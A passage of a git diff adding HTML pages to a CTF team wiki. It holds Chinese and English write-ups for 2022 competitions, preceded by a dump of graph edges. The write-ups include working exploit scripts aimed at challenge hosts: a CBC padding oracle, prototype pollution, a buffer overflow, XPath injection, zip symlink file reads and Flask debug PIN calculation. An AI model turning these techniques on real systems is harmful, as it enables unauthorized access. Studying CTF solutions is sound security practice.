+sub_286169->sub_286168 + + + + + +sub_281561 + +sub_281561 + + + +sub_286169->sub_281561 + + + + + +sub_267483->sub_262875 + + + + + +sub_267482 + +sub_267482 + + + +sub_267483->sub_267482 + + + + + +sub_281561->sub_286169 + + + + + +sub_276953 + +sub_276953 + + + +sub_281561->sub_276953 + + + + + +sub_267482->sub_267483 + + + + + +sub_267481 + +sub_267481 + + + +sub_267482->sub_267481 + + + + + +sub_276953->sub_281561 + + + + + +sub_272345 + +sub_272345 + + + +sub_276953->sub_272345 + + + + + +sub_267481->sub_267482 + + + + + +sub_267480 + +sub_267480 + + + +sub_267481->sub_267480 + + + + + +sub_272345->sub_276953 + + + + + +sub_272409 + +sub_272409 + + + +sub_272345->sub_272409 + + + + + +sub_267480->sub_267481 + + + + + +sub_267544 + +sub_267544 + + + +sub_267480->sub_267544 + + + + + +sub_272409->sub_272345 + + + + + +sub_272410 + +sub_272410 + + + +sub_272409->sub_272410 + + + + + +sub_267544->sub_267480 + + + + + +sub_267543 + +sub_267543 + + + +sub_267544->sub_267543 + + + + + +sub_267608 + +sub_267608 + + + +sub_267544->sub_267608 + + + + + +sub_272410->sub_272409 + + + + + +sub_272474 + +sub_272474 + + + +sub_272410->sub_272474 + + + + + +sub_267543->sub_267544 + + + + + +sub_267542 + +sub_267542 + + + +sub_267543->sub_267542 + + + + + +sub_267608->sub_267544 + + + + + +sub_272474->sub_272410 + + + + + +sub_272538 + +sub_272538 + + + +sub_272474->sub_272538 + + + + + +sub_267542->sub_267543 + + + + + +sub_267541 + +sub_267541 + + + +sub_267542->sub_267541 + + + + + +sub_272538->sub_272474 + + + + + +sub_272602 + +sub_272602 + + + +sub_272538->sub_272602 + + + + + +sub_267541->sub_267542 + + + + + +sub_267540 + +sub_267540 + + + +sub_267541->sub_267540 + + + + + +sub_272602->sub_272538 + + + + + +sub_272603 + +sub_272603 + + + +sub_272602->sub_272603 + + + + + +sub_267540->sub_267541 + + + + + +sub_262932 + +sub_262932 + + + +sub_267540->sub_262932 + + + + + +sub_272603->sub_272602 + + + + + +sub_272604 + +sub_272604 + + + +sub_272603->sub_272604 + + + + + +sub_262932->sub_267540 + + + + + +sub_272604->sub_272603 + + + + + +sub_272605 + +sub_272605 + + + +sub_272604->sub_272605 + + + + + +sub_272605->sub_272604 + + + + + +sub_272606 + +sub_272606 + + + +sub_272605->sub_272606 + + + + + +sub_272606->sub_272605 + + + + + +sub_277214 + +sub_277214 + + + +sub_272606->sub_277214 + + + + + +sub_277214->sub_272606 + + + + + +sub_281822 + +sub_281822 + + + +sub_277214->sub_281822 + + + + + +sub_281822->sub_277214 + + + + + +sub_281823 + +sub_281823 + + + +sub_281822->sub_281823 + + + + + +sub_281823->sub_281822 + + + + + +sub_281887 + +sub_281887 + + + +sub_281823->sub_281887 + + + + + +sub_281887->sub_281823 + + + + + +sub_281951 + +sub_281951 + + + +sub_281887->sub_281951 + + + + + +sub_281951->sub_281887 + + + + + +sub_281952 + +sub_281952 + + + +sub_281951->sub_281952 + + + + + +sub_281952->sub_281951 + + + + + +sub_281953 + +sub_281953 + + + +sub_281952->sub_281953 + + + + + +sub_281953->sub_281952 + + + + + +sub_281954 + +sub_281954 + + + +sub_281953->sub_281954 + + + + + +sub_281954->sub_281953 + + + + + +sub_286562 + +sub_286562 + + + +sub_281954->sub_286562 + + + + + +sub_286562->sub_281954 + + + + + +sub_291170 + +sub_291170 + + + +sub_286562->sub_291170 + + + + + +sub_291170->sub_286562 + + + + + +LAST + +LAST + + + +sub_291170->LAST + + + + + +LAST->sub_291170 + + + + + +sub_295842 + +sub_295842 + + + +LAST->sub_295842 + + + + + +sub_295842->LAST + + + + + \ No newline at end of file diff --git a/Writeup/2022dfjk/readme/index.html b/Writeup/2022dfjk/readme/index.html new file mode 100644 index 000000000..ed5e5f8eb --- /dev/null +++ b/Writeup/2022dfjk/readme/index.html @@ -0,0 +1,8297 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022巅峰极客网络安全技能挑战赛-HED-WriteUp - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022巅峰极客网络安全技能挑战赛-HED-WriteUp

+

Rank: 12 2149pts 5+71Solved
+HED 是南方科技大学COMPASS实验室的CTF战队

+ +

Misc

+

Lost 417pts 5sloves

+

解压之后发现小压缩包全炸了,010打开和正常压缩包对比发现时间戳的地方少了两个字节,手动插进去就能正常打开,可以解压出来一个缺少文件头的png。

+

加上头和IDHR得到一个很炸的png

+

宽度手试出来是0fa0(正确宽度越近,红绿蓝条纹就越规则)(~~虽然我不知道我队友为什么没试试爆CRC或者gimp~~),就能看到《时间很重要》的提示
+读时flag.zip(一开始炸了的)文件的时间信息:

+
for i in range(1,31):
+    # flagx.zip是外边直接解压的
+    dat=open(f"flag{i}.zip","rb").read()[0x46:0x48]
+    print(dat.hex())
+
+

注意到所有压缩包实际时间的两字节大提升是递减的,尝试前后亦或,右移等操作无果
+队友发来一句“如果第一个时间对应f,那第二个对应f+6=l”(https://chowdera.com/2022/195/202207130529022205.html )想到可以试试差值做,057e-0518出现了f,之后是lag,游戏结束

+
a = [ # 上边的输出,错位
+0x057e - 0x0518,
+0x0518 - 0x0584,
+0x0584 - 0x05e5,
+0x05e5 - 0x057e,
+0x057e - 0x0503,
+0x0503 - 0x0557,
+0x0557 - 0x04ee,
+0x04ee - 0x0481,
+0x0481 - 0x041c,
+0x041c - 0x03bd,
+0x03bd - 0x0374,
+0x0374 - 0x0301,
+0x0301 - 0x0360,
+0x0360 - 0x030d,
+0x030d - 0x02be,
+0x02be - 0x02eb,
+0x02eb - 0x0354,
+0x0354 - 0x03a1,
+0x03a1 - 0x03f1,
+0x03f1 - 0x03c1,
+0x03c1 - 0x0413,
+0x0413 - 0x03bf,
+0x03bf - 0x037e,
+0x037e - 0x0330,
+0x0330 - 0x02dc,
+0x02dc - 0x02bb,
+0x02bb - 0x029a,
+0x029a - 0x0279,
+0x0279 - 0x02f6,
+]
+
+for c in a:
+    print(chr(abs(c)), end='')
+
+

Crypto

+

point power 125pt 61solves

+

椭圆曲线运算:从理论到实践 处了解到,标量乘 2 的 x 坐标变化是,$m = \frac{3x_1^2+a}{2y_1}, x_2 = m^2-2x_1$

+

$$ +m^2 = x_2 + 2 * x_1\ +\frac{(3 x_1^2 + a)^2}{4 y_1^2} = m^2\ +y_1^2 = x_1^3 + ax_1 + b\ +(3 x_1^2 + a)^2 = 4 m^2 x_1^3 + 4 m^2 a x + 4 m^2 b\ +9 x_1^4 + 6x_1^2 a + a^2 = 4 m^2 * x^3 + 4 m^2 x_1 a + 4 m^2 b\ +a^2 + (6 x_1^2 - 4 m^2 x_1) a + 9 x_1^4 - 4 m^2 x_1^3 - 4 m^2 b = 0 (mod P)\ +$$

+

最后解模意义下的一元二次方程即可。

+
from Crypto.Util.number import *
+
+p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
+b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
+x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
+x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727
+
+mq = x2 + 2 * x1
+mq4 = 4 * mq
+bb = 6 * x1^2 - mq4 * x1
+cc = 9 * x1^4 - mq4 * x1^3 - mq4 * b
+
+
+P.<X> = PolynomialRing(GF(p))
+f = X^2 + bb*X + cc
+r = f.roots()
+for x, _ in r:
+    print(long_to_bytes(x))
+
+
+

strange curve 104pt 78solves

+

先看一下 flag 是怎么流的:

+
x = bytes_to_long(flag)
+
+while True:
+    try:
+        ...
+    except:
+        x += 1
+
+P = (x, y)
+print(f"P = {P}")
+'''
+P = (56006392793427940134514899557008545913996191831278248640996846111183757392968770895731003245209281149, 5533217632352976155681815016236825302418119286774481415122941272968513081846849158651480192550482691343283818244963282636939305751909505213138032238524899)
+'''
+
+

虽然有一个 while True 里面有 x += 1,但是可以盲猜加的次数不是很多,大概只会影响后面几个 byte。
+而且后面的 print(P) 输出了 x,然后直接 long_to_bytes(56006392793...),就拿到了
+flag{b7f209df-1284-4bdf-b030-28197483c47b}
+~~所以说 x += 1 甚至没加过~~

+

Web

+

babyweb 173pt 39solves

+

根据提示,存在 CBC Padding Oracle

+

观察和尝试可得,密码有 64 位,修改第 36 至 63 位会发生 padding error,所以猜测 chunk 是 16 位。 +已知 CBC 每一块的解密流程是:cipher ---AES---> intermedian ---xor iv---> plain text。
+然后在相邻两组之间,前一个的 ciphertext 作为后一组的 iv。我们可以枚举 iv 最后一个位,看看哪个 byte 可以让解密出来的文本的 padding 为 0x01(此时就不会爆 padding error 了),这时我们就可以把 0x01 和 iv 的最后一位异或一下,就可以拿到 intermedian 的最后一位了。
+以此类推,就可以摸到 intermedian 的全部值。再拿 intermedian 异或真正的 iv,就可以拿到明文。这部分的内容,网上已经有很多关于 CBC Padding Oracle Attack 的教程,这里就不再赘述了。
+然后对于每相邻的两个块,都可以用这种方式爆破出后一个块的 intermedian 值,进而拿到这一块的明文。

+

脚本如下:

+
import base64
+import requests
+from Crypto.Util.strxor import strxor
+from Crypto.Util.Padding import unpad
+
+session = 'eyJhZG1pbl9wYXNzd29yZCI6IlNwOTlRNU9DN2NTb2VrWlRkZFRQZEE3RHpMUWJpUGtSTWwzRDBiMmJ3YS95dmZMSEc2YWpWRVhScmh3cGVVVDYrNmlWYTRja2dKd0FsL2pHcy91L0JBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvzJYQ.6hevEiFyct_BhWVc8WtfmZf5qf0'
+password = list(base64.b64decode(b'Sp99Q5OC7cSoekZTddTPdA7DzLQbiPkRMl3D0b2bwa/yvfLHG6ajVEXRrhwpeUT6+6iVa4ckgJwAl/jGs/u/BA=='))
+
+def chunks(lst, n):
+    for i in range(0, len(lst), n):
+        yield lst[i:i + n]
+
+groups = list(chunks(password, 16))
+
+def get(password):
+    payload = { 'username': 'admin', 'password': 'admin' }
+    cookies = { 'session': session, 'admin_password': base64.b64encode(bytes(password)).decode() }
+    r = requests.post('http://eci-2ze2vftwh3e6xhybsqxm.cloudeci1.ichunqiu.com/login', cookies=cookies, data=payload)
+    return r.text
+
+text = b''
+for chunk in range(3):
+    intermedia = [0] * 16
+    for i in range(1, 16 + 1):
+        for j in range(256):
+            intermedia[-i] = j
+            iv = [i] * 16
+            for k in range(16):
+                iv[k] ^= intermedia[k]
+            result = get(iv + groups[chunk + 1])
+            print('{:3d} => {}'.format(j, result))
+            if result == 'False':
+                break
+        print(intermedia)
+    text += strxor(bytes(intermedia), bytes(groups[chunk]))
+print(unpad(text))
+
+

然后拿到明文密码之后,用 admin 登录一下,就拿到了 flag。

+

Re

+

ObfPuzz(二血)400pt 6solves

+

分析php文件,注意以下几点: +- vardump的调用 +- 匹配成功需要固定的正确前缀,长度不超过500 +- 整段内容必须是唯一的,虽然成功需要正确前缀,但是生成flag是整段内容。

+

IDA打开so,搜索字符串看看是不是RealWordRE,然后看到了flag字样,x跟入分析发现可能是一个有向图的终点,写脚本反向dfs发现会死循环:

+

脚步需要的手动操作:n重命名flag!!所在的函数为last

+
# 这里的visit写炸了
+def dfs(name, pwd, visit, dept):
+    if name == "sub_1443":
+        print(name, "".join(pwd))
+        input("win!!!")
+    if dept > 500 or name in visit:
+        return
+    try:
+        print(name, "".join(pwd))
+        func = idaapi.get_func(get_name_ea_simple("_"+name)) 
+        ea = func.start_ea
+        ref = DataRefsTo(ea)
+        next(ref) # skip plt
+        got = next(ref)
+        useages = DataRefsTo(got)
+        useages_rand = [u for u in useages]
+        random.shuffle(useages_rand)
+        for fun in useages_rand:
+            code = str(idaapi.decompile(fun))
+            switch = re.findall("if \( v3 == (.*?) \)\n.*?= "+name+";",code)
+            if (len(switch)>0):
+                func_name = re.findall("unsigned __int64 __fastcall (.*?)\(",code)[0]
+                c_pass = pwd.copy()
+                c_visit = visit.copy()
+                c_visit.append(name)
+                c_pass.append(chr(int(switch[0]))) # assert only 1
+                dfs(func_name, c_pass, c_visit, dept+1)
+            else:
+                print("Dead")
+    except:
+        pass
+
+dfs('last', [], [],  0)
+
+

换成所有节点只访问一次,queue很快跑到了起点,并输出节点相关信息可视化建图如下: +svg +发现有重边,不考虑重边也存在环,最短路和最长路做答案都不正确,于是从起点(有oops函数跟进的F字母)出发,改脚本爆出所有不走重复节点的答案(保证解是有限的):

+
import queue
+
+
+buffer_next = {}
+def get_next(name):
+    global buffer_next
+    if name in buffer_next:
+        for item in buffer_next[name]:
+            yield item
+    else:
+        buffer = []
+        try:
+            func = idaapi.get_func(get_name_ea_simple("_" + name))
+            code = str(idaapi.decompile(func))
+            switch = re.findall(r"if \( v3 == (.*?) \)\n.*?= (.*?);", code)
+            if len(switch) > 0:
+                for pair in switch:
+                    key, func_name = chr(int(pair[0])), pair[1]
+                    print('{} => {}'.format(name, func_name))
+                    buffer.append((key, func_name))
+                    yield (key, func_name)
+            buffer_next[name] = buffer
+        except Exception as e:
+            print(e)
+
+def advanced_dfs():
+    q = queue.Queue()
+    q.put(('sub_1443', '', '', set(['sub_1443'])))
+
+    while not q.empty():
+        now, father, path, visited = q.get()
+        if now == 'last':
+            print(len(path), path)
+            continue
+
+        for key, next_name in get_next(now):
+            if next_name in visited:
+                continue
+            visited_copy = visited.copy()
+            visited_copy.add(next_name)
+            q.put((next_name, now, path + key, visited_copy))
+
+advanced_dfs()
+
+

拿所有输出爆本地服务器:

+
# dat='''上边IDA-Python的输出'''
+import requests
+for i in dat.split("\n"):
+    r=requests.get("http://ip:1447/?flag="+i.split(" ")[1])
+    if ("flag{" in r.text):
+        print(r.text)
+        print(i)
+
+

在所有结果中跑出了正确的那个

+
[debug]: verify(374)
+flag!!!<br>int(0)
+SUCCESS
+<br><br>win! your flag is: flag{4ed4c7872f71240d75624ff04d25631f}
+374 FSTVHUReZ13z9UYDNTwDUwJSAFjPEUbs1oii61Q79GZnqWoIMu4W8e6n6iy9oi9ElOcRKA8yMwRjJblt5xu5KOBOc3XBOPM3VDFrihROOMpjPs4ZevQrDmkppC74k2XjzqbiJkMuVHeq8iVWWyiw9W0glTEth348odMbKTABtjoZEE94uqQomly4emxwKLZyPsMPCUXyFmacSXFebwIZmbHBDaRw0AAKMEVpbaIFV3p57WiTsbDkey1UL4LBttYIH4BXQZJ51p7hjRdW8yo6WH33XROfXnFpYBP44wkRJhxQHWGVDdmluUTEHDu0DdhsDCghrGqrBoZIJttSwrIjisxdeBtj5A6Ch2LKkanHNguUefegZrqVCo
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2022dfjkjs/wp/index.html b/Writeup/2022dfjkjs/wp/index.html new file mode 100644 index 000000000..b0751d88d --- /dev/null +++ b/Writeup/2022dfjkjs/wp/index.html @@ -0,0 +1,8228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022巅峰极客决赛 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022巅峰极客决赛

+

Rank: 10

+

StrangeTemporature

+

Extract nth base64 bytes from modbus/tcp protocl.

+
ZmxhZ3s5N2JmZWIwMy1mYTVjLWFhNmYtYWQxZS05YzVkMzhjNzQ0OWV9
+
+

From Base64:

+
flag{97bfeb03-fa5c-aa6f-ad1e-9c5d38c7449e}
+
+

Nodesystem

+

In the POST /api we can use an arbitrary filename, find the directory:

+
{"auth": {"name[]":"admin", "password[]":true}, "filename" : "test"}
+
+

Use the index.js we can find the source code.

+
const express = require('express'); 
+const bodyParser = require('body-parser'); 
+const _ = require('lodash'); 
+const app = express(); 
+var fs = require('fs'); 
+
+app.set('view engine', 'pug'); 
+app.set('views', 'views'); 
+
+app.use(bodyParser.urlencoded({ extended: true })); 
+app.use(express.static('static')); 
+
+const users = [
+  { name: 'test', password: 'test' }, 
+  { name: 'admin', password: Math.random().toString(32), admin: true }, 
+]; 
+
+let messages = []; 
+let lastId = 1; 
+
+function findUser(auth) { 
+  return users.find((u) => 
+    u.name === auth.name &&                                                                   
+    u.password === auth.password); 
+ } 
+
+app.use(bodyParser.json()); 
+
+app.get('/users', (req, res, next) => { 
+  const lists = users; 
+  res.render('users', { lists: lists, pageTitle: 'List of Users', path: '/users' }); 
+ }); 
+
+app.get('/', (req, res, next) => { 
+  res.render('home', { pageTitle: 'Home', path: '/' }); 
+ }); 
+
+app.post('/', (req, res, next) => { 
+  users.push({ name: req.body.name, password: req.body.password }); 
+  res.redirect('/users'); 
+ }); 
+
+app.get('/message', (req, res) => { 
+  res.send(messages); 
+ }); 
+
+app.put('/message', (req, res) => { 
+  const user = findUser(req.body.auth || {}); 
+  console.log(req.body.auth); 
+  console.log(user); 
+  if (!user) { 
+    res.status(403).send({ ok: false, error: 'Access denied' }); 
+    return; 
+ } 
+
+  const message = { 
+    avator: '= =', 
+ }; 
+
+  _.merge(message, req.body.message, { 
+    id: lastId++, 
+    userName: user.name, 
+ }); 
+
+  messages.push(message); 
+  res.send({ ok: true, message: message }); 
+ }); 
+
+app.delete('/', (req, res) => { 
+  res.send({ ok: true }); 
+ }); 
+
+app.post('/upload', (req, res) => { 
+  res.send({ ok: true }); 
+ }); 
+
+app.post('/api', (req, res) => { 
+    const user = findUser(req.body.auth || {}); 
+    if(!user) { 
+        res.status(403).send({ ok: false, error: 'Access denied' }); 
+        return; 
+     } 
+
+    filename = req.body.filename; 
+    testFolder = "/app/";
+      fs.readdirSync(testFolder).forEach(file => {
+        if (file.indexOf(filename) > -1) {
+          var buffer = fs.readFileSync(filename).toString();
+          res.send({ok: true, content: buffer});
+          }
+        });
+    });
+
+app.post('/debug', (req, res) => {
+  const user = findUser(req.body.auth || {});
+  if (!user || !user.admin) {
+    res.status(403).send({ok: false, error: 'Access denied'});
+    return;
+  }
+  var buffer = fs.readFileSync('/flag').toString();
+  res.send({ok: true, content: buffer});
+  });
+
+app.listen(80, () => {
+    console.log('Listening port 80');
+    });
+
+

In the message function, we can put a prototype pollution.

+
{"auth": {"name":"test", "password":"test"},"message":{"admin":true},"message":{"__proto__":{"admin":true}}}
+
+

Then request POST /debug:

+
{"auth": {"name":"test", "password":"test"}, "filename":"index.js"}
+
+
flag{bb5c92fd-e976-482d-bd8d-fe75c7709473}
+
+

gcd

+

Find this article: https://math.stackexchange.com/questions/985085/attack-on-rsa-factoring-when-knowing-e-and-d

+

Then use the method from this pptx: https://web.archive.org/web/20081122133715/https://www.cs.purdue.edu/homes/ninghui/courses/Fall04/lectures/lect14-c.pdf

+
from math import gcd
+from Crypto.Util.number import long_to_bytes
+
+q = 159525841996122259638149337206281835567662617929665920269309853980712285666023866332657448035118551608001550994903698308487351441079422360280138462655773347141043597936907238815312380200758714954107355308055568297512583285577797251677925038300853004432614390391636707991425386888624638839063346101278704535117
+p = 103688092798943310982647402600171114966652177364073806894252414673051932505190807013641061853384728919598237520908212107621239686924781921343629185171175594445990343702682252985633398911055809553488617609113015580598645062510893878938013992487439634057319597008364777435777902433026095622460842345150901944567
+
+n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213
+x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269
+c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303
+
+assert n == p * p * q
+
+e = 65537
+phi = p * (p - 1) * (q - 1)
+d = pow(e, -1, phi)
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+raise Exception()
+
+r = n * x - 1
+while r % 2 == 0:
+    r //= 2
+
+w = 3793879
+w = pow(w, r, n)
+v = pow(w, 2, n)
+while v != 1:
+    w = v
+    v = pow(w, 2, n)
+    if gcd(w - 1, n) != 1:
+        print(gcd(w - 1, n))
+    if gcd(w + 1, n) != 1:
+        print(gcd(w + 1, n))
+
+
flag{bs903sk_fbnw34f8_cwn3efh}
+
+

babyProtocol

+

Use IOA concat flag:

+
flag{68b34d92d8a8445039dce-d6819d2362d5}
+
+
import json
+
+s = json.load(open("e:\\desk\\2.json", "r", encoding="utf8"))
+d = ['*' for _ in range(99)]
+for i in s:
+    try:
+        r = i['_source']['layers']['iec60870_asdu'].keys()
+        for j in r:
+            if "IOA" in j:
+                dat = i['_source']['layers']['iec60870_asdu'][j]
+                idx = int(dat['iec60870_asdu.ioa'])
+                c = chr(int(dat["iec60870_asdu.bcr.count"]))
+                print(dat)
+                if d[idx] != "*" and d[idx] != c:
+                    raise Exception("FUCK")
+                if dat['iec60870_asdu.bcr.iv'] != '1':
+                    d[idx] = c
+    except KeyError:
+        pass
+
+print(''.join(d))
+
+

Remove all frames that IV=1

+
flag{68b34d92d88445039dced6819d2362d5}
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2022mtctf/HED/index.html b/Writeup/2022mtctf/HED/index.html new file mode 100644 index 000000000..2fa5df4fd --- /dev/null +++ b/Writeup/2022mtctf/HED/index.html @@ -0,0 +1,8241 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022美团网络安全高校挑战赛-HED-WriteUp - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022美团网络安全高校挑战赛-HED-WriteUp

+

Rank: 19 1185pts 6Solved

+

HED 是南方科技大学COMPASS实验室的CTF战队

+ +

MISC

+

CyberSpace(一血)

+

~~题目出锅了,所以先品鉴了一下题目的源码。~~
+队里的密码小姐姐是是信息竞赛选手,一眼就看出来这是单调队列入门题。
+其中一种最优解是,在数列上升的时候进行上升数量的 add_l,在数列下降的时候进行下降数量的 add_r,这样相当于在 [add_l, add_r - 1] 区间中全部 +1。
+令人感叹的是,这题修完重新上线的时候,小姐姐还在外面吃饭,回来以后竟然还是没有人做出来。为抢一血赶紧搓个脚本,交互都不写了,直接粘贴输入。

+
target = [83, 111, 54, 42, 72, 96, 111, 78, 33, 124, 50, 87, 119, 73, 42, 78, 83, 42, 97, 54, 39, 43, 121, 65]
+target.append(0)
+
+ans = []
+l = []
+cnt = 0
+cur = 0
+for i in range(len(target)):
+    if target[i] > cur:
+        cnt += target[i] - cur
+        l = l + [i for _ in range(target[i] - cur)]
+    elif target[i] < cur:
+        for _ in range(cur - target[i]):
+            ans.append((l[-1], i))
+            l.pop()
+    cur = target[i]
+
+print(cnt, len(ans))
+print()
+
+for item in ans:
+    print('1')
+    print(item[0])
+    print(item[1])
+
+
+
Congratulations this is your flag
+u8 b= 32 | 38 | 27 | 33 | 53 | 30 | 35 | 32 | 32 | 31 | 44 | 31 | 40 | 46 | 25 | 50 | 41 | 44 | 55
+u8 a=[19]
+u8 c=a+70
+u8 flag=c+b
+
+

HeLang
+运行后得到 flag{different_xor}

+

RE

+

RE-small

+

程序直接跑不起来,放IDA里从入口跟进,nop掉没用的花跳转,(其实不修也可以,但是找不到数据地址)

+

+

然后就能看到加密逻辑,没有魔改的原版TEA,轮数35,key硬编码。

+

+

还可以看到比较的数组,导出之后写解密脚本:

+
#include <stdio.h>
+#include <iostream>
+uint32_t dword_100F7[9] ={
+  -569872061,
+  -990307374,
+
+  -621356324,
+  1839125836,
+
+  1978355431,
+  1562237956,
+
+  1360728025,
+  1373407483,
+
+  0,
+};
+
+void decrypt(uint32_t* v) {
+  uint32_t round = 35;
+  uint32_t delta = 1732584193; 
+  uint32_t v0 = v[0], v1 = v[1], sum = delta * round, i; 
+  uint32_t k0 = 1, k1 = 35, k2 = 69, k3 = 103;
+  for (i = 0; i < round; i++) {
+    v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
+    v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
+    sum -= delta;
+  }
+  v[0] = v0; v[1] = v1;
+}
+
+int main(){
+  for (int i = 0; i < 8; i += 2) {
+    decrypt(&dword_100F7[i]);
+  }
+  printf("%s\n", dword_100F7);
+  return 0;
+}
+
+

PWN

+

捉迷藏

+

溢出点藏到一大堆分支的唯一结果里,不过过一遍27个getline就能找到溢出的位置。
+之后想让angr自动跑出来,好像效果并不理想,于是考虑手动推算

+

结果发现比较函数有经典的漏洞,只要让用户输入为截断符就会返回通过,所以直接送一堆0进去,不过最后一个因为XOR了首位,所以需要等于亦或的值。

+

拿到溢出点之后ret到后门就可以了

+
from pwn import *
+
+p=remote("39.106.27.2",36329)
+p.sendafter(b"sbAmJLMLWm:", b"0 0 0 0 0 0 0 0 ")
+p.sendafter(b"HuEqdjYtuWo:", b"\x00"*0x33)
+p.sendafter(b"hbsoMdIRWpYRqvfClb:", b"\x00"*0x35)
+p.sendafter(b"tfAxpqDQuTCyJw:", b"\x00"*0x22)
+p.sendafter(b"UTxqmFvmLy:", b"0 0 0 9254 0 0 0 0 ")
+p.sendafter(b"LLQPyLAOGJbnm:", b'\x3c'+b"\00"*0x29)
+p.sendafter(b"gRGKqIlcuj:", b'a'*0xf+b'b'*8+p64(0x401331)*4)
+p.interactive()
+p.close()
+
+

WEB

+

babyjava(一血)

+

看大佬的博客:https://xz.aliyun.com/t/7791?page=1

+

前边的判断方法(root-user-username)博客里都有,而且是常见名爆破第一个字符就能猜到了
+xpath=user1' and substring(name(/*[1]), 3, 1)='o' and ''='
+最后注到第二个flag上脚本,很快就能出来

+
import requests
+
+for n in range(80):
+    for i in "abcdef0123456789-{}":
+        r = requests.post("http://eci-2zef43pmhep3nhrjor7d.cloudeci1.ichunqiu.com:8888/hello",
+                          data={
+                              "xpath": f"""user1' and substring((//user[position()=1]/username[position()=2]),{n},1) = '{i}'  and ''='"""
+                          })
+        if "information " not in r.text:
+            print(i, end="")
+            break
+
+

OnlineUnzip

+

zip很容易构造../的文件名(比如手动patch或者丢给java生成),也很容易被开发者防到

+

软链接是另一种zip攻击的方法,解决方法是用修补过的unzip,但看起来这道题没修

+

这道题比较简单的方法是直接把/根目录ln出来,这样直接就能任意文件读,但读flag会提示无权限

+

然后注意到debug=True,但之前没做过Flask控制台的题,所以这里卡了两个多小时,痛失一血

+

开了debug之后不仅有报错,还可以通过/console进入控制台,当然高版本需要输入pin,但这个pin是可计算的

+

不过网上的脚本都不怎么能用,干脆把服务器的pin生成代码拉下来看看,然后再改,于是就有:

+
import hashlib
+from itertools import chain
+
+probably_public_bits = [
+    'ctf',  # /etc/passwd
+    'flask.app',  # 默认
+    'Flask',  # 默认
+    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错或者想办法拿
+]
+# docker环境取 1 3 , 其余应该没有3
+private_bits = [
+    '95529876171',  # /sys/class/net/ens0/address
+    '96cec10d3d9307792745ec3b85c89620'  # /etc/machine-id 
+    # 'c5938f8f-1a6f-4e03-8a6e-4fed4f38afa9' # /proc/sys/kernel/random/boot_id 
+    'e6714e8f0c24bf998ff3953127d9a0f60e30b712b0cda501c207092fd26bfc18'  # /proc/self/cgroup
+]
+
+# 3.6是md5,3.8是sha1
+h = hashlib.sha1()
+
+for bit in chain(probably_public_bits, private_bits):
+    if not bit:
+        continue
+    if isinstance(bit, str):
+        bit = bit.encode("utf-8")
+    h.update(bit)
+h.update(b"cookiesalt")
+cookie_name = f"__wzd{h.hexdigest()[:20]}"
+h.update(b"pinsalt")
+num = f"{int(h.hexdigest(), 16):09d}"[:9]
+
+for group_size in 5, 4, 3:
